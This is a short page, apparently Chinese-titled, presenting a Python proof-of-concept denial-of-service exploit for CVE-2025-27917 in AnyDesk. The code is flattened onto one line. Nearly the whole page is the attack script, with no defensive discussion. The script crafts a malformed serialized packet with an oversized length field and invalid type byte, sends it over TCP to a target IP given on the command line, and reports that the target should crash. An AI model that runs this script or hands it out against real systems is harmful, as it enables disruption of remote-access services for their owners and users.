CVE-2025-27917 AnyDesk 远程拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-27917 PoC - AnyDesk Remote Denial of Service Description: Exploits incorrect deserialization leading to NULL pointer dereference Author: Security Research Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-27917 """ import socket import struct import sys def create_malicious_payload(): """ Construct malformed serialized data to trigger deserialization vulnerability This payload targets the memory allocation failure and NULL pointer dereference """ # AnyDesk protocol header header = b'ADSP' # AnyDesk Service Protocol signature # Version and type fields version = struct.pack('<H', 1) # Protocol version msg_type = struct.pack('<H', 0x0010) # Control message type # Malformed payload designed to cause memory allocation failure # Invalid object length that triggers integer overflow in size calculation invalid_length = struct.pack('<I', 0xFFFFFFFF) # Max uint32 value # Corrupted object type identifier object_type = struct.pack('<B', 0xFF) # Invalid type byte # Padding with specific byte pattern to trigger parsing error padding = b'\x00' * 64 + b'\xFF' * 32 # Construct final payload payload = header + version + msg_type + invalid_length + object_type + padding return payload def exploit_anydesk(target_host, target_port=6566): """ Send malicious payload to trigger DoS condition Args: target_host: Target AnyDesk server or client IP target_port: AnyDesk service port (default: 6566) Returns: bool: True if payload sent successfully """ try: print(f'[*] Target: {target_host}:{target_port}') print('[*] Creating malicious payload for CVE-2025-27917...') payload = create_malicious_payload() print(f'[*] Payload size: {len(payload)} bytes') print('[*] Establishing connection...') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_host, target_port)) print('[*] Sending malicious payload...') sock.send(payload) print('[+] Payload sent successfully') print('[!] Target should crash due to NULL pointer dereference') sock.close() return True except socket.timeout: print('[-] Connection timed out') return False except socket.error as e: print(f'[-] Socket error: {e}') return False except Exception as e: print(f'[-] Unexpected error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') print(f'Example: {sys.argv[0]} 192.168.1.100 6566') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 6566 exploit_anydesk(target, port)